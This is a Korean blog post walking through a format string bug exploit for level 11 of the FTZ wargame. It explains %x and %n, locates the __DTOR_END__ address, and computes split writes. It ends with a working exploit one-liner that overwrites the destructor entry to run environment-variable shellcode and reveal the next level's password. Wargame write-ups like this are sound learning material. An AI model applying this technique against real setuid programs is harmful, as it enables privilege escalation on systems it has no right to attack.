FTZ level11 #5 ( FSB )

c0wb3ll ㅣ 2020. 3. 10. 18:50

FTZ Level11 #5 ( FSB )

글을 읽기 전에

https://dreamhack.io/learn/2/12#4

dreamhack.io 라는 갓갓 회사에서 만든 사이트가 있는데 여기 fsb가 그렇게 잘되어있으니 이것부터 하고 오면 이해가 더 잘 될 것이다. 내가 쓴글은 아무렇게나 싸지른 글이니까....

문제

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
    char str[256];

    setreuid( 3092, 3092 );
    strcpy( str, argv[1] );
    printf( str );
}

FTZ level 11의 소스코드이다. 이 소스코드에서 취약한 점을 발견하여 상위권한( level12 )을 얻어 비밀번호를 알아내야 한다.


취약점

#int main( int argc, char *argv[] )
{
    #char str[256];

    #setreuid( 3092, 3092 );
    #strcpy( str, argv[1] );
    printf( str );
}
  1. printf( str ); 에 포맷 스트링을 통해 출력하지 않는다.

따라서 Format String Bug를 통하여 상위 권한을 얻을 수 있다.


공격 시나리오

level11은 취약한 부분이 많아서 다양한 공격을 할 수 있는 레벨이다.

  1. 환경 변수를 이용한 공격
  2. Nop Sled 기법을 이용한 공격
  3. RTL 기법을 이용한 공격
  4. Chanining RTL 기법을 이용한 공격
  5. FSB ( Format String Bug )를 이용한 공격 <-- 이번 포스팅

이번 포스팅엔 환경 변수를 이용한 공격만 한 뒤 다른 시나리오들은 학습이 완료되고 내가 게으르지 않다면 계속해서 올라올 것이다.


FSB (Format String Bug)

#include <stdio.h>

int main() {
        char a[256];

        printf("input:");
        scanf("%s",&a);

        printf("format string : %s\n",a);
        printf("none format string : ");
        printf(a);
        printf("\n");
        return 0;
}

위 소스코드에서는 같은 문자열을 format string을 이용하여 출력하는 것과 그냥 변수 명을 이용해 출력 시키는 것 2가지 방법으로 출력을 시킨다.

[level11@ftz tmp]$ ./fsb
input:abcd
format string : abcd
none format string : abcd
[level11@ftz tmp]$ 

이렇게 보면 그것이 무슨 차이냐? 싶을 수 있다. 하지만 입력하는 방식을 바꿔보도록 하자.

[level11@ftz tmp]$ ./fsb
input:%x
format string : %x
none format string : bffff960
[level11@ftz tmp]$ 

%x라는 문자열을 입력하자 포맷스트링으로 출력한 문자열은 정상적으로 출력시킨 반면 그냥 변수를 통해 출력시킨 문자열은 이상한 값을 뱉어내고 있다.

printf() 함수는 기본적으로는 변수에 입력된 값을 출력해주는 역할을 한다. 이 때, 입력된 문자열에 %가 포함되어 있다면 참조하거나 사용할 다른 변수가 있다 판단하여 마구잡이로 읽기 또는 쓰기를 감행한다. 이렇게 마구잡이로 읽기 또는 쓰기를 하여 쓰레기 값을 뱉어내기만 한다면 크게 상관은 없겠지만 "%n"을 사용하면 쓰레기 값을 뱉어내는 것으로 끝나는 것이 아니게 된다.

%n ??

parameter 변수 형식
%d 정수형 10진수 상수 (integer)
%f 실수형 상수 (float)
%lf 실수형 상수 (double)
%c 문자(char)
%s 문자열
%u 양의 정수 (10진수)
%o 양의 정수 (8진수)
%x 양의 정수 (16진수)
%n *int (쓰인 총 바이트 수)
%hn %n의 반인 2byte 단위

여기서 %n은 자신이 읽어드린 변수에 있는 주소에 여태까지 출력한 문자의 길이를 입력한다.

실험

printf함수는 %를 만나면 문자열의 주소를 가지고 있는 파라미터의 메모리에서 4byte 높은 메모리가 할당된 메모리라고 판단한다. 그렇다면 %를 사용한 다음 또 %를 사용하면 어떻게 될까? 4byte에서 4byte가 더해져 8byte 위에 있는 주소를 할당된 메모리라고 생각하게 된다. 그 다음은 12byte 그 다음은 16byte 이렇게 말이다.

그렇다면 %의 개수를 조정해주면 우리가 입력할 위치에 값을 가져오는 것도 가능하지 않을까?

[level11@ftz level11]$ ./attackme "AAAA %x %x %x %x"
AAAA bffffbb7 bfffef70 1 41414141
[level11@ftz level11]$ 

AAAA라는 문자열을 입력하고 그 뒤에 %x로 16진수를 읽어와 봤다. 마지막에 41414141이 보이는 것으로 보아 %를 사용하여 우리가 입력한 값이 문자열의 주소를 가지고 있는 파라미터의 메모리에서 12byte만큼 떨어져 있다는 것을 알 수 있다. 그럼 저 AAAA대신에 RET주소를 넣고 %n을 이용하여 쉘코드의 주소를 넣는다면? ret주소를 조작하여 shellcode를 실행시킬 수 있을 것이다.

DTOR

FSB를 사용할 때 애용되는 위치라고 한다. DTOR은 Destructor를 줄여서 부른 것인데 프로그램이 종료될 때 호출되어 무언가를 처리한다고 한다. 따라서 이 주소에 내용을 변경해주면 프로그램이 종료되는 시점에 shellcode를 호출할 수 있을 것이다.

풀이

[level11@ftz level11]$ nm attackme | grep DTOR
08049610 d __DTOR_END__
0804960c d __DTOR_LIST__
[level11@ftz level11]$ 

다음과 같이 nm 파일명을 이용하여 DTOR의 주소를 찾는다.

DOTR이 DTOR_LIST와 DTOR_END로 이루어져있는데 이 중 DTOR_END는 값이 0이 아니면 종료할 때 DTOR_END에 저장된 명령을 호출하도록 되어있다.

[level11@ftz tmp]$ ./env
0xbfffff42
[level11@ftz tmp]$ 

이제 FSB에 사용할 쉘코드를 환경변수로 등록하고 주소를 찾아보자 방법은 여태까지와 같다.

나의 쉘코드 주소는 0xbfffff42 이다. 이 쉘코드 주소를 %n으로 넘겨줘야 하는데 어떻게 넘겨주느냐.... %c를 이용한다. %n은 앞에 나온 문자의 수를 카운트 하여 인자로 넘겨주는데 %c는 문자열을 출력하는 포맷 스트링이다. 따라서 %100c를 하면 100개의 문자열이 출력되기때문에 쉘코드의 주소 값을 10진수로 바꾸어 %c의 숫자를 맞춰주어 %n으로 넘겨주면 된다.

문제점

자 여기서 문제점이 발생한다. 0xbfffff42는 10진수로 ‭3,221,225,282‬인데 int형의 범위는 -2,147,483,648 ~ 2,147,438,647 이기 때문에 제대로 인식을 하지못한다. 이 숫자는 컴퓨터에서는 -1,073,741,634‬으로 받아들인는데 왜 이렇게 되는지에 관해서는 나중에 포스팅을 하게 될 것 같다.

해결 방법

그럼 익스를 어떻게 해야 할까?

그 방법은 바로 DTOR 앞주소 DTOR 뒷주소에 각각 쉘코드의 주소를 나누어서 넣어주는 것이다.

DTOR 앞주소 = 0x08049610 => 쉘코드 뒷주소 만큼 문자수

DTOR 뒷주소 = 0x08049612 => 쉘코드 앞주소 만큼 문자수

왜 쉘코드 뒷주소부터 들어가냐고 물어본다면 ^^;; 리틀 엔디언 방식이라서 그렇습니다.

자 그럼 다시 돌아와서

익스코드는

DTOR의 앞주소 + 4byte + DTOR의 뒷주소 + 포맷스트링(%문자)*2 + %[쉘코드 뒷자리]c + %n + %[쉘코드 앞자리]c +%n

저 4byte는 뭐냐...하고 물으시면 %문자가 입력되면 4byte단위로 읽어드리는데 %c도 %문자이기 때문에 4byte를 읽어드린다. 따라서 4byte를 아무 문자열로 채워줌으로서 DTOR의 뒷주소를 %n이 제대로 읽어드릴 수 있도록 하는 것이다.

쉘코드 뒷자리 10진수 = 65346

쉘코드 앞자리 10진수 = 49151

출력된 문자열의 수 = DTOR앞주소 + 4byte + DTOR뒷주소 + %문자2개 = %8x%8x =28byte

쉘코드 뒷주소 만큼의 %c = 65346 - 28 = 65318

쉘코드 앞주소 만큼의 %c = 49151 - 65346 = -16195 = ?????

문자열의 값이 -가 나와부렀다. 그럼 어떻게 해야 할까?

보수의 값으로 처리해준다. 원래 값에서 최상위 자리에 1을 붙이고 빼주면 된다.

1bfff - 65346 = 49341

자 그럼 이제 익스코드를 짜는데 필요한 정보를 모두 구했다. 익스를 짜보자.

[level11@ftz level11]$ ./attackme `python -c "print '\x10\x96\x04\x08' +'AAAA' + '\x12\x96\x04\x08' + '%8x%8x' + '%65318c%n' + '%49341c%n'"`
sh-2.05b$ my-pass
TERM environment variable not set.

Level12 Password is "이러하다 - 파파고".

sh-2.05b$ 

^^7